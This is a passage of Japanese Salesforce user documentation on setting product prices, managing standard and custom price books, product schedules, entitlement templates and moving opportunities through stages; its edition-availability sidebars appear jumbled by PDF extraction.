
異なる市場区分および顧客への販売方法に合わせて商品ごとにさまざまなタイ
プの価格を追跡できます。

標準価格表の標準価格の設定
1. 商品を選択します。
2. 商品ページの [価格表] 関連リストで、[標準価格を追加] をクリックします。

すでに標準価格を追加している場合、[表示件数を増やす] メニューから [編
集] をクリックして標準価格を変更します。

3. [リスト価格] 項目に新しい標準価格を入力します。
4. 商談、見積または他のカスタム価格表にある商品に対して、この価格を有効

にするには、[有効] を選択します。
5. 変更内容を保存します。

標準価格は、標準価格表の商品と自動的に関連付けられます。

カスタム価格表のリスト価格の設定
1. 商品を選択します。
2. 商品ページの [価格表] 関連リストで、[価格表に追加] をクリックします。
3. 新しいリスト価格の価格表と通貨を選択し、[次へ] をクリックします。
4. リスト価格を入力します。または、選択した価格表の価格を標準価格に合わ

せる場合は、[標準価格フラグ] を選択します。
5. 商品を商談または見積に追加するときに、この価格を使用できるようにする

には、[有効] を選択します。
6. 変更内容を保存します。

価格表エントリの編集
次の場所にある価格表レコードの横の [編集] をクリックします。
• 価格表の詳細ページの [商品] 関連リスト
• 商品の詳細ページの [価格表] 関連リスト
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Salesforce Classic での商品価格の設定および編集

エディション

注文を使用
可能なエ

商品、価格
表、および

ディション:見積を使用
Salesforce
Classic

可能なエ
ディション:
Salesforce
Classic と
Lightning
Experience の
両方

見積を使用
可能なエ

商品、価格
表、および

ディション:注文を使用
Performance可能なエ
Edition およディション:
びProfessional
DeveloperEdition、
Edition と、Enterprise
Sales CloudEdition、
が付属するPerformance
ProfessionalEdition、
Edition、Unlimited
EnterpriseEdition、およ
Edition、おび Developer

Edition よび
Unlimited
Edition

ユーザ権限

商品の価格を設定する
• 商品と価格表に対する

「編集」

異なる市場区分および顧客への販売方法に合わせて商品ごとにさまざまなタイ
プの価格を追跡できます。

標準価格の設定
1. 商品を選択します。
2. 商品の詳細ページの [標準価格] 関連リストで、[追加] をクリックします。

すでに標準価格を追加してある場合、[編集] をクリックして価格を変更する
か、[一括編集] をクリックして、他の通貨の全標準価格を編集します。

3. 標準価格を入力します。
4. [有効] を選択して、商談、見積または他のカスタム価格表にある商品に対

して、この価格を有効にします。
5. 変更内容を保存します。

標準価格は、標準価格表の商品と自動的に関連付けられます。

リスト価格の設定
1. 商品を選択します。
2. 商品の詳細ページを開き、リスト価格を追加するカスタム価格表の横にある

[価格表] 関連リストで [編集] をクリックします。
カスタム価格表にまだ商品を追加していない場合、[価格表] 関連リストで[価
格表に追加] をクリックします。

3. リスト価格を入力します。あるいは、両方の価格が同じである場合、[標準
価格フラグ] を選択します。

4. 商談または見積の商品に対してこの価格を有効にするには、[有効] を選択
します。

5. 変更内容を保存します。

価格の編集
次の場所にある価格表エントリレコードの横の [編集] をクリックします。
• 価格表の詳細ページの [商品] 関連リスト
• 商品の詳細ページの [標準価格] 関連リスト
• 商品の詳細ページの [価格表] 関連リスト
• 価格表リストビュー
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カスタム価格表の作成

エディション

見積を使用
可能なエ

商品と価格
表を使用可

ディション:能なエディ
Salesforce
Classic

ション:
Salesforce
Classic と
Lightning
Experience
の両方

見積を使用
可能なエ

商品と価格
表を使用可

ディション:能なエディ
Performanceション:
Edition およProfessional
びEdition、
DeveloperEnterprise
Edition と、Edition、
Sales CloudPerformance
が付属するEdition、
ProfessionalUnlimited
Edition、Edition、お
Enterpriseよび
Edition、おDeveloper

Edition よび
Unlimited
Edition

ユーザ権限

価格表を作成またはコ
ピーする
• 価格表に対する「作

成」

価格表を参照する
• 商品に対する「参照」

および

価格表に対する「参
照」

営業担当の販売先の市場区分ごとにカスタム価格表を作成できます。作成した
ら、商品を各市場区分に提供する価格で各価格表に追加します。たとえば、国
内顧客と国際顧客で販売価格が異なる場合、国内用と国際用の 2 つのカスタム
価格表を作成できます。
1. 「価格表の作成と維持に関する考慮事項」を確認します。
2. [価格表] ページで [新規] をクリックします。
3. 価格表の名前を入力します。
4. Salesforce 組織で説明を使用する場合、価格表の説明を入力します。
5. [有効] を選択して、営業担当が価格表またはそのエントリを商談や見積に追

加できるようにします。
6. カスタム価格表をゼロから作成する場合は、空のままにするか、別の価格表

から価格表エントリを取り込むか、新しいエントリを追加します。

関連トピック:

価格表の概念
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価格表の共有に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

価格表を共有する
• 価格表に対する「編

集」

Salesforce Classicの共有を使用して、価格表へのアクセス権を営業チームの他のメ
ンバーにも拡大します。
システム管理者、または価格表に対する「編集」権限を持つユーザは、価格表
の共有を他のユーザにも拡大できます。ただし、共有モデルを変更してデフォ
ルトよりも厳しくすることはできません。
共有の詳細を参照および管理するには、価格表の詳細ページで [共有] をクリッ
クします。共有の詳細ページには、価格表への共有アクセス権を持つユーザ、
グループ、ロール、およびテリトリーが一覧表示されます。このページでは、
次の作業を実行できます。
• 項目の絞り込みリストを表示するには、[ビュー]ドロップダウンリストから

事前定義済みのリストを選択するか、[新規ビューの作成] をクリックして、
自分専用のカスタムビューを定義します。

• 作成したビューを編集または削除するには、[ビュー]ドロップダウンリスト
からビューを選択して、[編集] をクリックします。

• 他のユーザ、グループ、ロール、またはテリトリーのレコードへのアクセス
権を付与するには、[追加] をクリックします。

• 自分で作成した共有の直接設定ルールについては、リスト内の項目の横にある [編集] か [削除] をクリック
すると、アクセスレベルを編集または削除できます。

営業チームが商品の詳細ページで価格を確認できるようにすることができます。価格表に対する組織の共有設
定が「アクセス権限なし」の場合、組織全体に標準価格表への「参照のみ」アクセス権を付与できます。
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価格表の削除に関する考慮事項

エディション

見積を使用
可能なエ

商品と価格
表を使用可

ディション:能なエディ
Salesforce
Classic

ション:
Salesforce
Classic と
Lightning
Experience
の両方

見積を使用
可能なエ

商品と価格
表を使用可

ディション:能なエディ
Performanceション:
Edition およProfessional
びEdition、
DeveloperEnterprise
Edition と、Edition、
Sales CloudPerformance
が付属するEdition、
ProfessionalUnlimited
Edition、Edition、お
Enterpriseよび
Edition、おDeveloper

Edition よび
Unlimited
Edition

価格表を関連リストから削除するには、価格表のアーカイブ、無効化、削除の
いずれかを実行できます。削除のオプションごとに結果が異なります。価格表
を関連リストから削除する前に、ビジネスニーズに最適なオプションを検討し
ます。
• カスタム価格表を削除、無効化、またはアーカイブしても、他の価格表や商

品リストには影響ありません。ただし、これらの操作が商談や見積に影響を
及ぼすことがあります。商談や見積との関連付けを変更しないと関連付けら
れた価格表を削除できない場合があります。

• 標準価格表は無効にできますが、削除またはアーカイブすることはできませ
ん。

価格表の削除に関する考慮事項
• 商談または見積で使用されている価格表は削除できません。削除しようとす

ると、価格表が使用されている商談や見積のリストがシステムによって作成
されます。

• 価格表を削除すると、その価格表のすべてのエントリが削除されます。削除
された価格表とそのエントリはごみ箱に移されます。削除してから 15 日以内
であれば復元できます。

価格表の無効化に関する考慮事項
• 価格表のプロパティを変更すれば、価格表をいつでも有効化、無効化、また

は再有効化することができます。
• 商談または見積で使用されている価格表も無効化できます。
• 価格表が無効化されている間は、引き続きエントリを管理できます。

価格表のアーカイブに関する考慮事項
• 商談または見積で使用されている価格表をアーカイブできます。
• アーカイブ済みの価格表は、関連付けられたすべてのレコードで参照可能ですが、アクセスはできません。
• アーカイブ済みの価格表のエントリは、検索結果に表示されません。
• アーカイブ済みの価格表の復元や削除はできません。

関連トピック:

価格表の概念
商品の概念
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価格表から商品を削除する場合の考慮事項

エディション

見積を使用
可能なイン

商品と価格
表を使用可

ターフェー能なイン
ス:ターフェー
Salesforce
Classic

ス:
Salesforce
Classic と
Lightning
Experience
の両方

見積を使用
可能なエ

商品と価格
表を使用可

ディション:能なエディ
Performanceション:
Edition およProfessional
びEdition、
DeveloperEnterprise
Edition と、Edition、
Sales CloudPerformance
が付属するEdition、
ProfessionalUnlimited
Edition、Edition、お
Enterpriseよび
Edition、おDeveloper

Edition よび
Unlimited
Edition

価格表から商品を削除する前に、いくつかの重要な考慮事項に留意してくださ
い。
• 価格表から商品を削除すると、関連するすべての価格表エントリも削除され

ます。
• ごみ箱から商品を元に戻すと、関連するすべての価格表エントリも一緒に復

元されます。
• 商談、見積、サービス契約、または契約品目名が関連付けられている商品は

削除できません。
• 商談または見積で使用されている商品は削除できません。削除しようとする

と、商談および見積のリストが表示されます。それらの商談および見積から
商品を削除してから、商品の削除を再試行できます。どの商談または見積か
らも商品を削除したくない場合は、商品を無効化 (推奨) またはアーカイブす
ることができます。「商品と価格表の削除に関する考慮事項」を参照してく
ださい。
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商品と価格表の削除に関する考慮事項

エディション

注文を使用
可能なエ

商品、価格
表、および

ディション:見積を使用
Salesforce
Classic

可能なエ
ディション:
Salesforce
Classic と
Lightning
Experience の
両方

見積を使用
可能なエ

商品、価格
表、および

ディション:注文を使用
Performance可能なエ
Edition およディション:
びProfessional
DeveloperEdition、
Edition と、Enterprise
Sales CloudEdition、
が付属するPerformance
ProfessionalEdition、
Edition、Unlimited
EnterpriseEdition、およ
Edition、おび Developer

Edition よび
Unlimited
Edition

商品または価格表を削除する前に、いくつかの重要な考慮事項に留意してくだ
さい。
• 商品または価格表を削除すると、関連するすべての価格表エントリも削除さ

れます。ただし、複数の価格表に同じ商品が含まれている場合、その商品を
1 つの価格表から削除しても他の価格表には影響しません。同様に、1 つの価
格表を削除しても、その価格表に含まれていた商品は他のどの価格表からも
削除されません。

• 商品を完全に削除するには、標準価格表から削除します。
• 商談、見積、サービス契約、または契約品目名が関連付けられている商品は

削除できません。
• 承認プロセスと関連付けられている、またはワークフローアクションが待機

中である商品または価格表は削除できません。
• 商品または価格表が商談、見積、または注文で使用されている場合、3 つの

オプションがあります。
– 商品または価格表を編集し、[有効]項目を選択解除して、無効にします。

商談または見積に含まれている商品または価格表は無効にすることをお
勧めします。そうすることで、ユーザからは使用できなくなるためです。
しかも後で再有効化できます。無効にしても、商談品目の履歴には影響
を与えません。

– 関連する商品または価格表をすべての商談および見積から削除します。
商談または見積で使用されている商品または価格表を削除しようとする
と、これを使用している商談または見積のリストが Salesforce によって表
示されます。
• 価格表を削除する場合は、含まれている各商談および見積から価格表

を削除します。
• 商品を削除する場合は、使用されている各商談および見積から商品を

削除します。
その後で価格表または商品を削除します。

– 商品または価格表、それぞれの関連する価格表エントリをアーカイブに保存します。このオプションを
使用する場合は注意が必要です。アーカイブ済みの商品と価格表は、ごみ箱には格納されていないた
め、復元することはできません。アーカイブ済みの商品と価格表は、アーカイブ前に含まれていた商談
または見積に引き続き表示されます。
価格表をアーカイブすると、関連付けられたレコードには引き続き表示されますが、アクセスや取得は
できなくなります。
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商品スケジュール

エディション

スケジュールを設定可能
なエディション: Salesforce
Classic

スケジュールされた商品
の追加、表示が可能なエ
ディション: Salesforce
Classic と Lightning
Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classicを使用している場合は、商品スケジュールを使用して、特定の期
間にわたって支払いまたは納入が行われる商品の支払いおよび納入サイクルを
決定できます (Lightning Experience を使用している場合でも、一時的に Salesforce

Classic に切り替えれば、商品スケジュールを利用できます)。

商品スケジュールの概念
システム管理者または営業マネージャは、商品のデフォルトのスケジュール
と、商談の個々の商品品目のスケジュールを作成できます。まず、基本を確
認しましょう。
商品スケジュールを使用する場合の考慮事項
商談商品に対して商品スケジュールの追加やスケジュールの設定を行う前
に、主要な考慮事項と例を確認してください。
商品スケジュールの追加および編集
商品スケジュールを追加して商品の支払いおよび納入サイクルを定義しま
す。
商談の商品に対するスケジュールの設定
商品スケジュールを追加したら、それらを使用して商談に販売した商品の支払いや実際の売上を設定でき
ます。

商品スケジュールの概念

エディション

スケジュールを設定可能
なエディション: Salesforce
Classic

スケジュールされた商品
の商談への追加、表示が
可能なエディション:
Salesforce Classic と
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

システム管理者または営業マネージャは、商品のデフォルトのスケジュールと、
商談の個々の商品品目のスケジュールを作成できます。まず、基本を確認しま
しょう。
• 数量スケジュールによって、いつ商品が納入されるかが決まります。
• 収益スケジュールによって、いつ商品の支払いが行われるかが決まります。
• デフォルトのスケジュールは、特定の価格表の特定の商品に関連付けられま

す。商談に商品が追加されるたびに、デフォルトのスケジュールが使用され
ます。商談のデフォルトのスケジュールは上書きできます。

Salesforce 組織で使用できるスケジュール種別と、商品ごとに設定できるスケ
ジュール種別を決定します。
• 数量スケジュールは、顧客が一括で支払い、商品を段階的に受け取る場合 (月

刊誌の年間購読など) に適しています。数量スケジュールでは、会社が決定
した支払い、納入、またはその他の用途の日付、単位数、および分割数を定
義します。

• 収益スケジュールは、顧客が定期的に支払いを行い、商品を一度に受け取る
場合 (一度に納入される分割払いのカスタム商品を販売する場合など) に適し
ています。収益スケジュールでは、支払い、収益の認識、またはその他の用途の日付、収益金額、分割数
を定義します。
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• 収益および数量スケジュールは、顧客が納入スケジュールに基づいて注文商品を受け取り、支払いスケ
ジュールに基づいて商品の支払いを行う場合 (毎月支払いを行う月次商品サブスクリプションなど) に適し
ています。

• デフォルトのスケジュールは、すべての顧客が同じ日程で商品の支払いを行う場合や、商品を定期的に納
入する場合に適しています。ほとんどのスケジュールをカスタマイズする場合は、デフォルトのスケジュー
ルを作成する利点はありません。

関連トピック:

商品スケジュール

商品スケジュールを使用する場合の考慮事項

エディション

スケジュールを設定可能
なエディション: Salesforce
Classic

スケジュールされた商品
の商談への追加、表示が
可能なエディション:
Salesforce Classic と
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談商品に対して商品スケジュールの追加やスケジュールの設定を行う前に、
主要な考慮事項と例を確認してください。

デフォルトの商品スケジュールを使用する場合の考慮事項
• 商品スケジュールを追加または変更する場合、その商品が追加されている商

談は更新されません。商品にデフォルトの数量スケジュールおよびデフォル
トの収益スケジュールがある場合、数量スケジュールが最初に計算されて商
品収益合計が決定されます。その後で、収益スケジュールがその金額に適用
されます。

• 見積品目に割引があり、該当する商品レコードにデフォルトのスケジュール
がある場合は、[割引] 項目を編集することはできません。

• 商品レコードにデフォルトのスケジュールがある場合、この商品を商談に追
加すると、スケジュールが自動的に作成されます。回数の日付は商品の追加
時に指定した日付から開始します。商品の日付を指定しないと、分割日付は
商談の [完了予定日] から開始されます。

デフォルトの商品スケジュールの使用例
• デフォルトの収益スケジュールだけが設定されている場合: あるアプリケーションサービスプロバイダで

は、商品のライセンスを 1 ライセンスあたり $1,200 という価格で、年間契約で販売しています。顧客がラ
イセンスを購入すると、ライセンスは一度にすべて「納品」されますが、収益は毎月確定されます。この
ような場合は、スケジュール種別 = 分割、期間 = 月、回数 = 12 というデータを指定した収益スケジュール
を設定します。
営業担当者は、このデフォルトの収益スケジュールを使用して、3 月 15 日の商談で、200 件のライセンスを
年単価 $1,200 で販売しました。200 件のライセンスは、3 月 15 日にすべて「納品」されました。この商品の
総収益は、年単価 $1,200 × 200 件で $240,000 になります。収益スケジュールにより、この総収益は月 $20,000

の収益に分割され、翌年の毎月 15 日に確定されます。
• デフォルトの数量スケジュールだけが設定されている場合: ある医療用品メーカーでは、舌圧子を 1 箱 $10

で販売しています。通常は、病院と年間契約を結んで、商品は毎月納品します。このような場合は、スケ
ジュール種別 = 反復、期間 = 月、回数 = 12 というデータを指定した数量スケジュールを設定します。

1699

商品、価格、支払スケジュールの追跡顧客への営業



営業担当者は、このデフォルトの数量スケジュールを使用して、1 月 1 日の商談で 1,000 箱を販売しました。
数量スケジュールにより、毎月 1,000 箱を 12 か月間納品し、合計で 12,000 箱を販売する商談が作成されま
す。この商談の総収益は、単価と総数量を使用して計算されるため、1 月 1 日には $120,000 という金額が記
帳されます。

• デフォルトの数量スケジュールと収益スケジュールが両方設定されている場合: あるメーカーでは、1 個 $10

の部品を販売しています。通常は、納品は毎週行いますが、支払いは 3 か月に 1 度行うという年間契約を
結びます。このような場合は、スケジュール種別 = 反復、期間 = 週、回数 = 52 というデータを指定した数
量スケジュールを設定します。スケジュール種別 = 分割、期間 = 3 か月、回数 = 4 というデータを指定した
収益スケジュールを設定します。
営業担当者は、これらのデフォルトのスケジュールを使用して、1 月 1 日の商談で 2,000 個の部品を販売し
ました。数量スケジュールが先に適用され、1 年間毎週 2,000 個、全部で 104,000 個の部品が納品されるスケ
ジュールが設定されます。総収益は、単価と総数量を使用して計算されます。総収益である $1,040,000 は 4

分割され、3 か月ごとの収益は $260,000 になります。

関連トピック:

商品スケジュールの追加および編集

商品スケジュールの追加および編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

商品スケジュールを追加
または編集する
• 商品に対する「編集」

商品スケジュールを追加して商品の支払いおよび納入サイクルを定義します。
1. 「商品スケジュールを使用する場合の考慮事項」を確認します。
2. 適切なスケジュール種別を有効にします。
3. 商品のホームページで商品を選択します。
4. [編集] をクリックします。
5. 作成するスケジュールの種別 (数量、収益、またはその両方) を選択します。

Salesforce 組織のスケジュール設定と、商品に対して有効になっているスケ
ジュール種別に応じて、選択できる内容が制限されます。

6. スケジュールの詳細を設定します。
7. 変更内容を保存します。
8. 商談商品のスケジュールを確立する方法については、「商談の商品に対する

スケジュールの設定」を参照してください。
9. 商品スケジュールを編集するには、商品の詳細ページで [編集]をクリックし

ます。

関連トピック:

商談の商品に対するスケジュールの設定
商品価格の設定および編集

1700

商品、価格、支払スケジュールの追跡顧客への営業



商談の商品に対するスケジュールの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

商品スケジュールを追加
または編集する
• 商談に対する「編集」

商品スケジュールを追加したら、それらを使用して商談に販売した商品の支払
いや実際の売上を設定できます。
1. 「商品スケジュールを使用する場合の考慮事項」を確認します。
2. 商品スケジュールが追加されていることを確認します。
3. 商談の [商品] 関連リストで商品名をクリックします。
4. スケジュールを作成するには、[設定] をクリックします。古いスケジュール

を削除して新しいスケジュールを作成するには、[再設定]をクリックします。
5. 作成するスケジュールの種別 (数量、収益、またはその両方) を選択します。

Salesforce 組織のスケジュール設定と、システム管理者が商品に対して有効に
したスケジュール種別に応じて、選択できる内容が制限されます。

6. スケジュールの詳細を設定します。
7. 変更内容を保存します。

スケジュール分割が表示されます。

8. 分割を編集するには、[編集] をクリックします。

関連トピック:

商品スケジュールの概念

商品にエンタイトルメントテンプレートを追加する場合のガイドライン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

システム管理者または営業マネージャは、[エンタイトルメントテンプレート] 関
連リストを使用する場合の主要なガイドラインに従ってください。
エンタイトルメントテンプレートは、商品にすばやく追加できる、事前定義さ
れたカスタマサポートの条件です。たとえば、ユーザが顧客に提供される商品
にエンタイトルメントを容易に追加できるよう Web サポートまたは電話サポー
トのエンタイトルメントテンプレートを作成できます。
[エンタイトルメントテンプレート] 関連リストには、商品のエンタイトルメント
テンプレートが表示されますシステム管理者は、[エンタイトルメントテンプ
レート] 関連リストの可用性および内容を確認できます。
• エンタイトルメントテンプレートを検索するには、テキスト入力項目に名

前、または名前の一部を入力して [Go!] をクリックします。
• エンタイトルメントテンプレートを商品に追加するには、[エンタイトルメン

トテンプレートの追加]をクリックし、追加するテンプレートの横にあるチェックボックスをオンにしてか
ら、[選択したものを挿入] をクリックし、[完了] をクリックします。

• エンタイトルメントテンプレートに対して実行できるアクションは、[アクション] にリストされます。た
とえば、商品からエンタイトルメントテンプレートを削除するには、[削除] をクリックします。

• テンプレートの名前は、[エンタイトルテンプレート] にリストされます。テンプレートの詳細を表示しま
す。
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• エンタイトルメントテンプレートを作成したユーザは、[作成者] にリストされます。

価格表の作成と維持に関する考慮事項

エディション

見積と注文
を使用可能

商品と価格
表を使用可

なエディ能なエディ
ション:ション:
Salesforce
Classic

Salesforce
Classic と
Lightning
Experience
の両方

見積を使用
可能なエ

商品、価格
表、および

ディション:注文を使用
Performance可能なエ
Edition およディション:
びProfessional
DeveloperEdition、
Edition と、Enterprise
Sales CloudEdition、
が付属するPerformance
ProfessionalEdition、
Edition、Unlimited
EnterpriseEdition、およ
Edition、おびDeveloper

Edition よび
Unlimited
Edition

価格表を作成する前に、いくつかの重要な考慮事項に留意してください。
• 既存の価格表をコピーしてカスタム価格表を作成するには、価格表の詳細

ページで [コピー] をクリックします。
• カスタム価格表から商品を削除でき、他の価格表の元の商品リストやそのエ

ントリには影響ありません。標準価格表から商品を削除した場合、その商品
は引き続き選択可能で有効ですが、その標準価格は削除され、すべてのカス
タム価格表から削除されます。標準価格表から商品を削除するときに、その
商品がまだカスタム価格表に関連付けられている場合は、[OK]をクリックす
ると、商品がすべてのカスタム価格表から削除されます。

• 商品、見積品目名、または注文商品は、1 つの価格表からのみ追加できます。
• 商談、見積、または注文に商品を追加するには、商品を含む価格表を選択し

ます。デフォルトでは、商談または見積で最後に使用した価格表が選択され
ます。別の価格表を選択するには、商談の [商品] 関連リストまたは見積の [見
積品目名] 関連リストで [価格表の選択] をクリックします。複数の価格表へ
のアクセス権がある場合は、[価格表の選択] が表示されます。複数の価格表
にアクセスでき、オプションが表示されない場合は、ページレイアウトにオ
プションを追加するようシステム管理者に依頼してください。

• 商品を持つ商談の価格表を変更すると、[商品] 関連リストからすべての商品
が削除されますが、商談の [金額] 項目にある値は残ります。

関連トピック:

カスタム価格表の作成
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価格設定に関する考慮事項

エディション

見積を使用
可能なエ

商品と価格
表を使用可

ディション:能なエディ
Salesforce
Classic

ション:
Salesforce
Classic と
Lightning
Experience
の両方

見積を使用
可能なエ

商品と価格
表を使用可

ディション:能なエディ
Performanceション:
Edition およProfessional
びEdition、
DeveloperEnterprise
Edition と、Edition、
Sales CloudPerformance
が付属するEdition、
ProfessionalUnlimited
Edition、Edition、お
Enterpriseよび
Edition、おDeveloper

Edition よび
Unlimited
Edition

システム管理者または営業マネージャは、Salesforce で商品の価格を設定する前
に主要な点について考慮してください。
• 次の価格タイプを使用できます。

– 標準価格は、商品に関連付けられるデフォルトの価格です。標準価格表
に自動的に含まれます。

– リスト価格は、カスタム価格表の商品に関連付けられるカスタム価格で
す。たとえば、国内注文用の価格セットと国際注文用の価格セットを別
個に保持できます。

– 販売価格は、営業担当が商談および見積に追加した商品に指定する実際
の価格です。販売価格は、商談または見積で使用される価格表のリスト
価格と同じになることも、割引やその他の変更が加えられることもあり
ます。

• 新しい商品を商談、見積、カスタム価格表に追加する前に、標準価格を商品
に追加して、有効としてマークしておきます。これが商品のデフォルトの価
格設定になります。

• 商品のリスト価格を割り当てる前に、カスタム価格表を作成します。カスタ
ム価格表から商品を商談または見積に追加するときに、リスト価格を使用で
きます。

• 価格を表すには、$100.00 の場合であれば、「100」または「100.00」と入力
し、適宜 $ 記号を付けます。

• 価格項目の形式を拡張して、最大 8 桁の小数部を指定できます。小数部の桁
数の設定を変更するには、Salesforce にお問い合わせください。

Salesforce Classic ユーザインターフェースを使用する場合の考慮事
項
• 標準価格またはリスト価格は、複数行追加ページ ([標準価格の追加] ページと [リスト価格の追加] ページ) で

のみ追加できます。これらのページではカスタム項目はサポートされません。標準価格またはリスト価格
を追加してカスタム項目に入力するには、複数行追加ページで価格表エントリを追加し、追加したレコー
ドの [価格表エントリの編集] ページに移動して、カスタム項目を更新します。

メモ: この考慮事項は、データローダまたは API を使用して作成または編集された価格表エントリには
影響を与えません。

• 価格表エントリに必須のカスタム項目が含まれている場合、ユーザインターフェースでは価格表エントリ
を作成できません。このような価格表エントリは、データローダまたは API でのみ作成できます。

• 価格は次のいずれかの場所で編集できます。
– 複数行編集ページ ([標準価格の編集] ページと [リスト価格の編集] ページ)

– [価格表エントリの編集] ページ

1703

商品、価格、支払スケジュールの追跡顧客への営業



商談とのパイプラインの作成

商談

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce の商談を使用して、潜在的な商談を追跡および分析します。
商談に関する重要な詳細 (対象取引先、参加者、潜在的な販売額など) を確認し
ます。商談が提案フェーズに進んだ場合、次の作業を行います。
• 商品を追加して、契約書やデータシートなどのファイルを添付する。
• 行った活動を記録する。
• メモを使用して、顧客とのミーティングの内容をすばやく書き留める。
• 主要な活動の ToDo や顧客とのミーティングの行動を作成する。
• 商談の取引先責任者や他の主要な意志決定者にメールを送信する。
交渉中に Chatter を使用して、営業戦略を同僚と共有したり、的を絞ったガイダ
ンスについてマネージャに尋ねたりします。商談が次のフェーズに進んだら、
現在のフェーズで商談レコードを更新します。間もなく商談が成立します。

関連トピック:

商談の操作
商談のしくみについて
商談の項目

商談の操作

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

迅速に商談を成立させることができるように、商談を使用してパイプラインを
追跡および管理します。商談の次のフェーズへの移動、商品の追加などを行い
ます。

次のフェーズへの商談の移動
商談成立に近づいたときに商談を更新します。売上予測、レポート、および
最終的な目標達成には、正確なフェーズ情報が重要になります。
商談の商品の追加および編集
商品を商談に追加することで、どの商品がどれだけの数量で販売されている
かを追跡できます。追加した後は、商品の数量と価格を更新して正確なレ
コードを維持します。
商談のアップデートリマインダーのスケジュール設定
チームが商談を最新の状態に保つように、チームの進行中の商談に関するレ
ポートを含む自動メールを作成して、直属部下に送信します。

関連トピック:

商談
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次のフェーズへの商談の移動

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

商談成立に近づいたときに商談を更新します。売上予測、レポート、および最
終的な目標達成には、正確なフェーズ情報が重要になります。

Salesforce Lightning Experience での次のフェーズへの商談の移動
レコードから直接、または商談 Kanban ビューから商談フェーズを更新しま
す。
Salesforce Classic での次のフェーズへの商談の移動
商談成立に近づいたときに商談の進行状況を記録します。

Salesforce Lightning Experience での次のフェーズへの商談の移動

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

商談を作成する
• 商談に対する「作成」

商談を参照する
• 商談に対する「参照」

レコードから直接、または商談 Kanban ビューから商談フェーズを更新します。

メモ: 次の手順は、Lightning Experienceで使用できます。Lightning Experienceで
は、画面上部のナビゲーションバーの左側に[アプリケーションランチャー]

アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示さ
れません。

• 進行中の商談から、セールスパスの新しいフェーズを選択し、[現在の～とし
てマーク] をクリックする。

• 進行中の商談から、[フェーズを完了としてマーク] をクリックする。
• 商談 Kanban ビューから、フェーズを更新する商談を見つけ、そのカードを次

のフェーズの列にドラッグする。
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Salesforce Classic での次のフェーズへの商談の移動

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

商談を作成する
• 商談に対する「作成」

商談を参照する
• 商談に対する「参照」

商談成立に近づいたときに商談の進行状況を記録します。

メモ: 次の手順は、Salesforce Classic で動作します。Lightning Experience では、
画面上部のナビゲーションバーの左側に [アプリケーションランチャー] ア
イコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示され
ません。

1. 更新する商談レコードを編集します。
2. 新しいフェーズを選択します。
3. レコードを保存します。
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商談の商品の追加および編集

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

商談商品を追加または編
集する
• 商談に対する「編集」

および

商品と価格表に対する
「参照」

商品を商談に追加することで、どの商品がどれだけの数量で販売されているか
を追跡できます。追加した後は、商品の数量と価格を更新して正確なレコード
を維持します。
1. 編集する商談に移動します。
2. [商品] 関連リストから、変更する商品の横にある [編集] をクリックするか、

新規商品を追加する場合は [商品の追加]をクリックします。最初の商品を追
加する場合、商談の価格表を選択します。

3. 新規商品を追加する場合、リストから 1 つ以上の商品を選択するか、商品を
検索します。

4. 各商品の属性を入力します。システム管理者は、このページをカスタマイズ
して業務に固有な項目を追加できます。

5. 商品の [販売価格] を入力します。販売価格は、商談に割り当てられている
価格表に指定されたデフォルトのリスト価格に設定されます。ユーザ権限に
応じて、この値を上書きできます。

6. 商品に割引がある場合、[割引] 項目に、適宜パーセント記号 (%) を使用して
割引を数値で入力します。[割引] 項目を使用できない場合は、システム管
理者にお問い合わせください。

7. [数量] ボックスに、この価格で提供する商品の数を入力します。
8. 変更内容を保存します。

関連トピック:

商談に商品を追加する場合の考慮事項
商談商品の項目
商品

商談のアップデートリマインダーのスケジュール設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

チームが商談を最新の状態に保つように、チームの進行中の商談に関するレポー
トを含む自動メールを作成して、直属部下に送信します。
